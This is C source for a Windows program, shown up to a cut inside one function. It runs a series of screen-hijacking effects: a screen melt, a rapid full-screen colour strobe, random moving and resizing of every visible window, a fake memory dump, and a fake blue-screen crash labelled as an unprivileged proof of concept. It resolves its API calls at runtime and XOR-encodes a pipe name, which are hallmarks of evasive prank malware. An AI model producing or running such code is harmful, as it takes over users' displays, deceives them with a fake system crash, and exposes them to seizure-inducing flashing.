635 lines
29 KiB
C
635 lines
29 KiB
C
#include <windows.h>
|
|
#include <tlhelp32.h>
|
|
#include <math.h>
|
|
#include <stdlib.h>
|
|
|
|
typedef HDC (WINAPI *PFN_GetDC)(HWND);
|
|
typedef HDC (WINAPI *PFN_GetDCEx)(HWND,HRGN,DWORD);
|
|
typedef int (WINAPI *PFN_ReleaseDC)(HWND,HDC);
|
|
typedef BOOL (WINAPI *PFN_PatBlt)(HDC,int,int,int,int,DWORD);
|
|
typedef BOOL (WINAPI *PFN_BitBlt)(HDC,int,int,int,int,HDC,int,int,DWORD);
|
|
typedef BOOL (WINAPI *PFN_StretchBlt)(HDC,int,int,int,int,HDC,int,int,int,int,DWORD);
|
|
typedef HBRUSH (WINAPI *PFN_CreateSolidBrush)(COLORREF);
|
|
typedef HFONT (WINAPI *PFN_CreateFontW)(int,int,int,int,int,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,LPCWSTR);
|
|
typedef BOOL (WINAPI *PFN_TextOutW)(HDC,int,int,LPCWSTR,int);
|
|
typedef HPEN (WINAPI *PFN_CreatePen)(int,int,COLORREF);
|
|
typedef HGDIOBJ (WINAPI *PFN_SelectObject)(HDC,HGDIOBJ);
|
|
typedef BOOL (WINAPI *PFN_DeleteObject)(HGDIOBJ);
|
|
typedef int (WINAPI *PFN_SetBkMode)(HDC,int);
|
|
typedef COLORREF (WINAPI *PFN_SetTextColor)(HDC,COLORREF);
|
|
typedef COLORREF (WINAPI *PFN_SetBkColor)(HDC,COLORREF);
|
|
typedef BOOL (WINAPI *PFN_MoveToEx)(HDC,int,int,LPPOINT);
|
|
typedef BOOL (WINAPI *PFN_LineTo)(HDC,int,int);
|
|
typedef BOOL (WINAPI *PFN_SetWindowPos)(HWND,HWND,int,int,int,int,UINT);
|
|
typedef LONG (WINAPI *PFN_SetWindowLongW)(HWND,int,LONG);
|
|
typedef LONG (WINAPI *PFN_GetWindowLongW)(HWND,int);
|
|
typedef HWND (WINAPI *PFN_GetTopWindow)(HWND);
|
|
typedef HWND (WINAPI *PFN_GetWindow)(HWND,UINT);
|
|
typedef BOOL (WINAPI *PFN_GetWindowRect)(HWND,LPRECT);
|
|
typedef BOOL (WINAPI *PFN_IsWindowVisible)(HWND);
|
|
typedef int (WINAPI *PFN_GetSystemMetrics)(int);
|
|
typedef BOOL (WINAPI *PFN_InvalidateRect)(HWND,CONST RECT*,BOOL);
|
|
typedef HWND (WINAPI *PFN_GetDesktopWindow)(void);
|
|
typedef HDC (WINAPI *PFN_CreateCompatibleDC)(HDC);
|
|
typedef HBITMAP (WINAPI *PFN_CreateCompatibleBitmap)(HDC,int,int);
|
|
typedef int (WINAPI *PFN_GetDIBits)(HDC,HBITMAP,UINT,UINT,void*,BITMAPINFO*,UINT);
|
|
typedef int (WINAPI *PFN_StretchDIBits)(HDC,int,int,int,int,int,int,int,int,CONST void*,CONST BITMAPINFO*,UINT,DWORD);
|
|
typedef BOOL (WINAPI *PFN_DeleteDC)(HDC);
|
|
typedef SHORT (WINAPI *PFN_GetAsyncKeyState)(int);
|
|
typedef BOOL (WINAPI *PFN_MoveWindow)(HWND,int,int,int,int,BOOL);
|
|
|
|
static HMODULE g_u32=NULL, g_g32=NULL;
|
|
#define APIU(name) ((PFN_##name)GetProcAddress(g_u32,#name))
|
|
#define APIG(name) ((PFN_##name)GetProcAddress(g_g32,#name))
|
|
|
|
static volatile LONG g_stop=0;
|
|
#define SHOULD_STOP() (InterlockedCompareExchange(&g_stop,0,0)!=0)
|
|
#define CHK_ESC() do { \
|
|
PFN_GetAsyncKeyState _f=(PFN_GetAsyncKeyState)GetProcAddress(g_u32,"GetAsyncKeyState"); \
|
|
if(_f&&(_f(VK_ESCAPE)&0x8000)) InterlockedExchange(&g_stop,1); \
|
|
} while(0)
|
|
|
|
static int g_sw=1920, g_sh=1080;
|
|
|
|
static volatile LONG g_rng=0x12345678;
|
|
static unsigned int xrand(void){
|
|
LONG v=InterlockedCompareExchange(&g_rng,0,0);
|
|
v^=v<<13; v^=v>>17; v^=v<<5;
|
|
InterlockedExchange(&g_rng,v);
|
|
return (unsigned int)v;
|
|
}
|
|
#define RNG(n) ((int)(xrand()%(unsigned)(n)))
|
|
|
|
static void get_pipe_name(WCHAR *out){
|
|
const WCHAR pre[]=L"\\\\.\\pipe\\";
|
|
const BYTE enc[]={0x7c,0x62,0x7c,0x71,0x5f,0x71,0x60,0x7c,0x74,0x79};
|
|
wcscpy(out,pre);
|
|
WCHAR *p=out+9;
|
|
for(int i=0;i<10;i++) p[i]=(WCHAR)(enc[i]^0x11);
|
|
p[10]=0;
|
|
}
|
|
|
|
static BYTE *alloc_buf(int w,int h){
|
|
return (BYTE*)VirtualAlloc(NULL,(SIZE_T)w*h*4,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
|
|
}
|
|
static void make_bmi(BITMAPINFO *b,int w,int h){
|
|
ZeroMemory(b,sizeof(BITMAPINFO));
|
|
b->bmiHeader.biSize=sizeof(BITMAPINFOHEADER);
|
|
b->bmiHeader.biWidth=w; b->bmiHeader.biHeight=-h;
|
|
b->bmiHeader.biPlanes=1; b->bmiHeader.biBitCount=32;
|
|
b->bmiHeader.biCompression=BI_RGB;
|
|
}
|
|
static BOOL cap(HDC sdc,BYTE *buf,int w,int h){
|
|
BITMAPINFO bmi; make_bmi(&bmi,w,h);
|
|
HDC mdc=APIG(CreateCompatibleDC)(sdc);
|
|
HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,w,h);
|
|
APIG(SelectObject)(mdc,bm);
|
|
APIG(BitBlt)(mdc,0,0,w,h,sdc,0,0,SRCCOPY);
|
|
int ok=APIG(GetDIBits)(mdc,bm,0,(UINT)h,buf,&bmi,DIB_RGB_COLORS);
|
|
APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm);
|
|
return ok>0;
|
|
}
|
|
static void blit(HDC sdc,const BYTE *buf,int w,int h){
|
|
BITMAPINFO bmi; make_bmi(&bmi,w,h);
|
|
APIG(StretchDIBits)(sdc,0,0,w,h,0,0,w,h,buf,&bmi,DIB_RGB_COLORS,SRCCOPY);
|
|
}
|
|
static int get_wins(HWND *arr,int max){
|
|
int n=0; HWND hw=APIU(GetTopWindow)(NULL);
|
|
while(hw&&n<max){if(APIU(IsWindowVisible)(hw))arr[n++]=hw;hw=APIU(GetWindow)(hw,GW_HWNDNEXT);}
|
|
return n;
|
|
}
|
|
|
|
static DWORD WINAPI fx_meltdown(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
BYTE *src=alloc_buf(g_sw,g_sh); if(!src){APIU(ReleaseDC)(NULL,sdc);return 0;}
|
|
cap(sdc,src,g_sw,g_sh);
|
|
int *off=(int*)VirtualAlloc(NULL,g_sw*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
|
|
int *spd=(int*)VirtualAlloc(NULL,g_sw*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
|
|
if(!off||!spd) goto e0;
|
|
for(int x=0;x<g_sw;x++){off[x]=0;spd[x]=1+RNG(4);}
|
|
for(int f=0;f<500&&!SHOULD_STOP();f++){
|
|
CHK_ESC();
|
|
for(int x=0;x<g_sw&&!SHOULD_STOP();x+=2){
|
|
spd[x]+=(f>200)?2:0; off[x]+=spd[x];
|
|
if(off[x]>g_sh) off[x]=g_sh;
|
|
int ch=g_sh-off[x];
|
|
if(ch>0){BITMAPINFO b2;make_bmi(&b2,g_sw,g_sh);APIG(StretchDIBits)(sdc,x,off[x],2,ch,x,0,2,ch,src,&b2,DIB_RGB_COLORS,SRCCOPY);}
|
|
}
|
|
Sleep(8);
|
|
}
|
|
e0: if(off)VirtualFree(off,0,MEM_RELEASE);
|
|
if(spd)VirtualFree(spd,0,MEM_RELEASE);
|
|
if(src)VirtualFree(src,0,MEM_RELEASE);
|
|
APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_strobe(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
COLORREF c[]={RGB(255,0,0),RGB(0,255,0),RGB(0,0,255),RGB(255,255,0),RGB(0,255,255),RGB(255,0,255),RGB(255,128,0),RGB(128,0,255),RGB(0,255,128),RGB(255,255,255),RGB(0,0,0),RGB(255,0,128)};
|
|
for(int t=0;t<800&&!SHOULD_STOP();t++){
|
|
CHK_ESC();
|
|
HBRUSH br=APIG(CreateSolidBrush)(c[t%12]);
|
|
APIG(SelectObject)(sdc,br); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY);
|
|
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(br);
|
|
Sleep(4);
|
|
}
|
|
APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_resize(void *u){
|
|
HWND wins[256]; int wc=get_wins(wins,256);
|
|
for(int t=0;t<400&&!SHOULD_STOP();t++){
|
|
CHK_ESC();
|
|
for(int i=0;i<wc&&!SHOULD_STOP();i++){
|
|
if(!APIU(IsWindowVisible)(wins[i])) continue;
|
|
int x=RNG(g_sw),y=RNG(g_sh),w=80+RNG(g_sw-80),h=60+RNG(g_sh-60);
|
|
APIU(MoveWindow)(wins[i],x,y,w,h,FALSE);
|
|
APIU(SetWindowPos)(wins[i],HWND_TOPMOST,x,y,w,h,SWP_NOACTIVATE|SWP_ASYNCWINDOWPOS);
|
|
}
|
|
Sleep(30);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_chromatic(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
BYTE *src=alloc_buf(g_sw,g_sh),*dst=alloc_buf(g_sw,g_sh);
|
|
if(!src||!dst) goto e3;
|
|
cap(sdc,src,g_sw,g_sh);
|
|
int s=g_sw*4;
|
|
for(int f=0;f<400&&!SHOULD_STOP();f++){
|
|
CHK_ESC();
|
|
int ro=(int)(sinf(f*0.09f)*40),bo=(int)(cosf(f*0.07f)*35);
|
|
int rvy=(int)(cosf(f*0.05f)*20),bvy=(int)(sinf(f*0.08f)*15);
|
|
for(int y=0;y<g_sh;y++) for(int x=0;x<g_sw;x++){
|
|
int rx=x-ro,ry=y-rvy,bx=x-bo,by=y-bvy;
|
|
if(rx<0)rx=0;if(rx>=g_sw)rx=g_sw-1;if(ry<0)ry=0;if(ry>=g_sh)ry=g_sh-1;
|
|
if(bx<0)bx=0;if(bx>=g_sw)bx=g_sw-1;if(by<0)by=0;if(by>=g_sh)by=g_sh-1;
|
|
dst[y*s+x*4+2]=src[ry*s+rx*4+2];
|
|
dst[y*s+x*4+1]=src[y*s+x*4+1];
|
|
dst[y*s+x*4+0]=src[by*s+bx*4+0];
|
|
dst[y*s+x*4+3]=0;
|
|
}
|
|
blit(sdc,dst,g_sw,g_sh); Sleep(10);
|
|
}
|
|
e3: if(src)VirtualFree(src,0,MEM_RELEASE);
|
|
if(dst)VirtualFree(dst,0,MEM_RELEASE);
|
|
APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_memdump(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
HBRUSH blk=APIG(CreateSolidBrush)(RGB(0,0,0));
|
|
APIG(SelectObject)(sdc,blk); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY);
|
|
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(blk);
|
|
HFONT f=APIG(CreateFontW)(13,0,0,0,FW_NORMAL,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,NONANTIALIASED_QUALITY,FIXED_PITCH,L"Courier New");
|
|
APIG(SelectObject)(sdc,f); APIG(SetBkMode)(sdc,OPAQUE); APIG(SetBkColor)(sdc,RGB(0,0,0));
|
|
WCHAR ln[128]; unsigned int addr=0xFFFF8000;
|
|
for(int row=0;row<200&&!SHOULD_STOP();row++){
|
|
CHK_ESC();
|
|
int y=(row%((g_sh-60)/14))*14;
|
|
APIG(SetTextColor)(sdc,row%7==0?RGB(255,0,0):row%5==0?RGB(255,255,0):RGB(0,220,0));
|
|
wsprintfW(ln,L"%08X: %04X %04X %04X %04X %04X %04X %04X %04X",addr,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF);
|
|
APIU(TextOutW)(sdc,0,y,ln,(int)wcslen(ln)); addr+=16; Sleep(8);
|
|
}
|
|
HBRUSH blue=APIG(CreateSolidBrush)(RGB(0,0,170));
|
|
APIG(SelectObject)(sdc,blue); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY);
|
|
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(blue);
|
|
HFONT big=APIG(CreateFontW)(32,0,0,0,FW_BOLD,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Consolas");
|
|
APIG(SelectObject)(sdc,big); APIG(SetBkMode)(sdc,TRANSPARENT); APIG(SetTextColor)(sdc,RGB(255,255,255));
|
|
const WCHAR *bsod[]={L":( Your PC ran into a problem.",L"",L"MEMORY_MANAGEMENT (0x0000001A)",L"",L"MSRC_POC_UNPRIVILEGED_CHAOS"};
|
|
int ty=g_sh/6;
|
|
for(int i=0;i<5;i++){APIU(TextOutW)(sdc,60,ty,bsod[i],(int)wcslen(bsod[i]));ty+=44;}
|
|
HFONT med=APIG(CreateFontW)(24,0,0,0,FW_NORMAL,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Consolas");
|
|
APIG(SelectObject)(sdc,med);
|
|
for(int pct=0;pct<=100&&!SHOULD_STOP();pct++){
|
|
CHK_ESC();
|
|
WCHAR prog[32]; wsprintfW(prog,L"% 3d%% complete",pct);
|
|
HBRUSH eb=APIG(CreateSolidBrush)(RGB(0,0,170));
|
|
APIG(SelectObject)(sdc,eb); APIG(PatBlt)(sdc,60,g_sh*3/4,400,30,PATCOPY);
|
|
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(eb);
|
|
APIU(TextOutW)(sdc,60,g_sh*3/4,prog,(int)wcslen(prog));
|
|
HBRUSH wb=APIG(CreateSolidBrush)(RGB(255,255,255));
|
|
APIG(SelectObject)(sdc,wb); APIG(PatBlt)(sdc,60,g_sh*3/4+36,(g_sw-120)*pct/100,8,PATCOPY);
|
|
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(wb);
|
|
Sleep(60);
|
|
}
|
|
APIG(DeleteObject)(f); APIG(DeleteObject)(big); APIG(DeleteObject)(med);
|
|
APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_scramble(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
HDC mdc=APIG(CreateCompatibleDC)(sdc);
|
|
HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,g_sw,g_sh);
|
|
APIG(SelectObject)(mdc,bm);
|
|
int TW=80,TH=60,cols=g_sw/TW,ntiles=cols*(g_sh/TH);
|
|
int *idx=(int*)VirtualAlloc(NULL,ntiles*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
|
|
if(!idx) goto e5;
|
|
for(int f=0;f<500&&!SHOULD_STOP();f++){
|
|
CHK_ESC();
|
|
APIG(BitBlt)(mdc,0,0,g_sw,g_sh,sdc,0,0,SRCCOPY);
|
|
for(int i=0;i<ntiles;i++) idx[i]=i;
|
|
for(int i=ntiles-1;i>0;i--){int j=RNG(i+1);int t=idx[i];idx[i]=idx[j];idx[j]=t;}
|
|
for(int i=0;i<ntiles&&!SHOULD_STOP();i++)
|
|
APIG(BitBlt)(sdc,(idx[i]%cols)*TW,(idx[i]/cols)*TH,TW,TH,mdc,(i%cols)*TW,(i/cols)*TH,SRCCOPY);
|
|
Sleep(16);
|
|
}
|
|
e5: if(idx)VirtualFree(idx,0,MEM_RELEASE);
|
|
APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm); APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_bounce(void *u){
|
|
HWND wins[128]; int wc=get_wins(wins,128); if(!wc) return 0;
|
|
typedef struct{int x,y,vx,vy,w,h;}Ball;
|
|
Ball *b=(Ball*)VirtualAlloc(NULL,wc*sizeof(Ball),MEM_COMMIT,PAGE_READWRITE); if(!b) return 0;
|
|
HDC sdc=APIU(GetDC)(NULL);
|
|
COLORREF hues[]={RGB(255,0,0),RGB(0,255,0),RGB(0,0,255),RGB(255,255,0),RGB(0,255,255),RGB(255,0,255)};
|
|
for(int i=0;i<wc;i++){
|
|
RECT r; APIU(GetWindowRect)(wins[i],&r);
|
|
b[i].w=r.right-r.left;b[i].h=r.bottom-r.top;b[i].x=r.left;b[i].y=r.top;
|
|
b[i].vx=8+RNG(14);b[i].vy=6+RNG(10);
|
|
if(RNG(2))b[i].vx=-b[i].vx; if(RNG(2))b[i].vy=-b[i].vy;
|
|
}
|
|
for(int t=0;t<800&&!SHOULD_STOP();t++){
|
|
CHK_ESC();
|
|
for(int i=0;i<wc;i++){
|
|
BOOL hit=FALSE;
|
|
b[i].x+=b[i].vx;b[i].y+=b[i].vy;
|
|
if(b[i].x<0){b[i].x=0;b[i].vx=abs(b[i].vx);hit=TRUE;}
|
|
if(b[i].y<0){b[i].y=0;b[i].vy=abs(b[i].vy);hit=TRUE;}
|
|
if(b[i].x+b[i].w>g_sw){b[i].x=g_sw-b[i].w;b[i].vx=-abs(b[i].vx);hit=TRUE;}
|
|
if(b[i].y+b[i].h>g_sh){b[i].y=g_sh-b[i].h;b[i].vy=-abs(b[i].vy);hit=TRUE;}
|
|
APIU(SetWindowPos)(wins[i],HWND_TOPMOST,b[i].x,b[i].y,0,0,SWP_NOSIZE|SWP_NOACTIVATE|SWP_ASYNCWINDOWPOS);
|
|
if(hit&&sdc){
|
|
HBRUSH fb=APIG(CreateSolidBrush)(hues[RNG(6)]);
|
|
APIG(SelectObject)(sdc,fb);
|
|
APIG(PatBlt)(sdc,b[i].x,b[i].y,b[i].w,4,PATCOPY);
|
|
APIG(PatBlt)(sdc,b[i].x,b[i].y,4,b[i].h,PATCOPY);
|
|
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(fb);
|
|
}
|
|
}
|
|
Sleep(10);
|
|
}
|
|
VirtualFree(b,0,MEM_RELEASE); if(sdc)APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_shake(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
BYTE *snap=alloc_buf(g_sw,g_sh); if(!snap){APIU(ReleaseDC)(NULL,sdc);return 0;}
|
|
cap(sdc,snap,g_sw,g_sh);
|
|
BITMAPINFO bmi; make_bmi(&bmi,g_sw,g_sh);
|
|
for(int t=0;t<300&&!SHOULD_STOP();t++){
|
|
CHK_ESC();
|
|
int mag=10+t/3; if(mag>60)mag=60;
|
|
APIG(StretchDIBits)(sdc,RNG(mag*2)-mag,RNG(mag*2)-mag,g_sw,g_sh,0,0,g_sw,g_sh,snap,&bmi,DIB_RGB_COLORS,SRCCOPY);
|
|
HPEN rp=APIG(CreatePen)(PS_SOLID,2,RGB(220+RNG(35),0,0));
|
|
APIG(SelectObject)(sdc,rp);
|
|
for(int k=0;k<6;k++){
|
|
int x0=RNG(g_sw),y0=RNG(g_sh);
|
|
APIU(MoveToEx)(sdc,x0,y0,NULL);
|
|
for(int s=0;s<10;s++){x0+=RNG(80)-40;y0+=RNG(100)-10;APIU(LineTo)(sdc,x0,y0);}
|
|
}
|
|
APIG(SelectObject)(sdc,GetStockObject(NULL_PEN)); APIG(DeleteObject)(rp);
|
|
Sleep(12);
|
|
}
|
|
VirtualFree(snap,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_matrix(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
int cols=g_sw/14;
|
|
int *drop=(int*)VirtualAlloc(NULL,cols*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
|
|
int *spd=(int*)VirtualAlloc(NULL,cols*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
|
|
if(!drop||!spd) goto e8;
|
|
for(int i=0;i<cols;i++){drop[i]=RNG(g_sh/14);spd[i]=1+RNG(3);}
|
|
HFONT font=APIG(CreateFontW)(14,0,0,0,FW_BOLD,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,NONANTIALIASED_QUALITY,FIXED_PITCH,L"Courier New");
|
|
APIG(SelectObject)(sdc,font); APIG(SetBkMode)(sdc,OPAQUE);
|
|
for(int t=0;t<700&&!SHOULD_STOP();t++){
|
|
CHK_ESC();
|
|
for(int c=0;c<cols;c++){
|
|
if(t%spd[c]) continue;
|
|
int bright=100+RNG(156);
|
|
WCHAR ch[2]={(WCHAR)(0x30A0+RNG(96)),0};
|
|
APIG(SetBkColor)(sdc,RGB(0,0,0)); APIG(SetTextColor)(sdc,RGB(bright/4,bright,bright/4));
|
|
APIU(TextOutW)(sdc,c*14,drop[c]*14,ch,1);
|
|
for(int k=1;k<12;k++){
|
|
int ty=drop[c]-k; if(ty<0) break;
|
|
WCHAR ch2[2]={(WCHAR)(0x30A0+RNG(96)),0};
|
|
APIG(SetTextColor)(sdc,RGB(0,(12-k)*16,0));
|
|
APIU(TextOutW)(sdc,c*14,ty*14,ch2,1);
|
|
}
|
|
drop[c]+=spd[c];
|
|
if(drop[c]*14>g_sh){drop[c]=-(RNG(40));spd[c]=1+RNG(3);}
|
|
}
|
|
Sleep(16);
|
|
}
|
|
APIG(DeleteObject)(font);
|
|
e8: if(drop)VirtualFree(drop,0,MEM_RELEASE);
|
|
if(spd)VirtualFree(spd,0,MEM_RELEASE);
|
|
APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static void lbranch(HDC sdc,int x,int y,float ang,int len,int depth,COLORREF col){
|
|
if(depth<=0||len<6) return;
|
|
float rad=ang*3.14159f/180.0f;
|
|
int nx=x+(int)(cosf(rad)*len),ny=y+(int)(sinf(rad)*len);
|
|
HPEN p=APIG(CreatePen)(PS_SOLID,depth,col);
|
|
APIG(SelectObject)(sdc,p); APIU(MoveToEx)(sdc,x,y,NULL); APIU(LineTo)(sdc,nx,ny);
|
|
APIG(SelectObject)(sdc,GetStockObject(NULL_PEN)); APIG(DeleteObject)(p);
|
|
float sp=20.0f+(float)RNG(40);
|
|
lbranch(sdc,nx,ny,ang+sp,(int)(len*0.65f),depth-1,col);
|
|
lbranch(sdc,nx,ny,ang-sp,(int)(len*0.65f),depth-1,col);
|
|
if(RNG(3)==0) lbranch(sdc,nx,ny,ang+(float)(RNG(60)-30),(int)(len*0.4f),depth-2,col);
|
|
}
|
|
static DWORD WINAPI fx_lightning(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
COLORREF ac[]={RGB(0,200,255),RGB(255,0,200),RGB(200,255,0),RGB(255,150,0),RGB(0,255,200),RGB(255,255,255)};
|
|
for(int t=0;t<200&&!SHOULD_STOP();t++){
|
|
CHK_ESC();
|
|
HBRUSH db=APIG(CreateSolidBrush)(RGB(0,0,0));
|
|
APIG(SelectObject)(sdc,db); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATINVERT); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATINVERT);
|
|
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(db);
|
|
for(int a=0;a<3+RNG(4);a++)
|
|
lbranch(sdc,RNG(g_sw),RNG(g_sh/3),70.0f+(float)(RNG(40)-20),g_sh/2+RNG(g_sh/3),6,ac[RNG(6)]);
|
|
Sleep(50);
|
|
}
|
|
APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_static(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
int W=g_sw/2,H=g_sh/2,s=W*4;
|
|
BYTE *buf=alloc_buf(W,H); if(!buf){APIU(ReleaseDC)(NULL,sdc);return 0;}
|
|
BITMAPINFO bmi; make_bmi(&bmi,W,H);
|
|
COLORREF bc[]={RGB(255,0,255),RGB(0,255,255),RGB(255,255,0),RGB(255,0,100),RGB(100,0,255),RGB(0,255,100)};
|
|
for(int f=0;f<500&&!SHOULD_STOP();f++){
|
|
CHK_ESC();
|
|
for(int i=0;i<W*H;i++){
|
|
unsigned int v=xrand();
|
|
if(i&15){BYTE l=v&0xFF;buf[i*4]=buf[i*4+1]=buf[i*4+2]=l;}
|
|
else{buf[i*4]=(BYTE)v;buf[i*4+1]=(BYTE)(v>>8);buf[i*4+2]=(BYTE)(v>>16);}
|
|
buf[i*4+3]=0;
|
|
}
|
|
for(int b=0;b<4+RNG(6);b++){
|
|
COLORREF col=bc[RNG(6)];
|
|
BYTE br=col&0xFF,bg=(col>>8)&0xFF,bb=(col>>16)&0xFF;
|
|
int x0=RNG(W-10),y0=RNG(H-10),bw=10+RNG(W/3),bh=5+RNG(H/3);
|
|
if(x0+bw>W)bw=W-x0; if(y0+bh>H)bh=H-y0;
|
|
BYTE al=(BYTE)(100+RNG(155));
|
|
for(int y=y0;y<y0+bh;y++) for(int x=x0;x<x0+bw;x++){
|
|
int idx=y*s+x*4;
|
|
buf[idx]=(BYTE)(((int)buf[idx]*(256-al)+(int)br*al)>>8);
|
|
buf[idx+1]=(BYTE)(((int)buf[idx+1]*(256-al)+(int)bg*al)>>8);
|
|
buf[idx+2]=(BYTE)(((int)buf[idx+2]*(256-al)+(int)bb*al)>>8);
|
|
}
|
|
}
|
|
APIG(StretchDIBits)(sdc,0,0,g_sw,g_sh,0,0,W,H,buf,&bmi,DIB_RGB_COLORS,SRCCOPY);
|
|
Sleep(8);
|
|
}
|
|
VirtualFree(buf,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_wormhole(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
HDC mdc=APIG(CreateCompatibleDC)(sdc);
|
|
HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,g_sw,g_sh); APIG(SelectObject)(mdc,bm);
|
|
COLORREF h[]={RGB(0,0,60),RGB(0,60,0),RGB(60,0,0),RGB(0,40,60),RGB(40,0,60)};
|
|
COLORREF fc[]={RGB(255,0,255),RGB(0,255,255),RGB(255,255,0)};
|
|
for(int f=0;f<500&&!SHOULD_STOP();f++){
|
|
CHK_ESC();
|
|
APIG(BitBlt)(mdc,0,0,g_sw,g_sh,sdc,0,0,SRCCOPY);
|
|
HBRUSH tb=APIG(CreateSolidBrush)(h[(f/30)%5]);
|
|
APIG(SelectObject)(mdc,tb); APIG(PatBlt)(mdc,0,0,g_sw,g_sh,PATINVERT);
|
|
APIG(SelectObject)(mdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(tb);
|
|
int bx=12+f%8,by=8+f%6;
|
|
APIG(StretchBlt)(sdc,bx,by,g_sw-2*bx,g_sh-2*by,mdc,0,0,g_sw,g_sh,SRCCOPY);
|
|
if(f%15==0){
|
|
HBRUSH fb=APIG(CreateSolidBrush)(fc[(f/15)%3]);
|
|
APIG(SelectObject)(sdc,fb);
|
|
APIG(PatBlt)(sdc,0,0,g_sw,by,PATCOPY); APIG(PatBlt)(sdc,0,g_sh-by,g_sw,by,PATCOPY);
|
|
APIG(PatBlt)(sdc,0,0,bx,g_sh,PATCOPY); APIG(PatBlt)(sdc,g_sw-bx,0,bx,g_sh,PATCOPY);
|
|
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(fb);
|
|
}
|
|
Sleep(16);
|
|
}
|
|
APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm); APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_invwave(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
BYTE *buf=alloc_buf(g_sw,g_sh),*out=alloc_buf(g_sw,g_sh);
|
|
if(!buf||!out) goto e12;
|
|
cap(sdc,buf,g_sw,g_sh);
|
|
int s=g_sw*4;
|
|
for(int f=0;f<400&&!SHOULD_STOP();f++){
|
|
CHK_ESC();
|
|
float ph=f*0.05f,ws=(float)f/400.0f;
|
|
for(int y=0;y<g_sh;y++){
|
|
float bnd=ws*g_sw+sinf((float)y*0.018f+ph)*100.0f;
|
|
for(int x=0;x<g_sw;x++){
|
|
BYTE *sr=buf+y*s+x*4,*d=out+y*s+x*4;
|
|
if((float)x<bnd){d[0]=255-sr[0];d[1]=255-sr[1];d[2]=255-sr[2];}
|
|
else{d[0]=sr[0];d[1]=sr[1];d[2]=sr[2];}
|
|
d[3]=0;
|
|
}
|
|
}
|
|
blit(sdc,out,g_sw,g_sh); Sleep(10);
|
|
}
|
|
e12:if(buf)VirtualFree(buf,0,MEM_RELEASE);
|
|
if(out)VirtualFree(out,0,MEM_RELEASE);
|
|
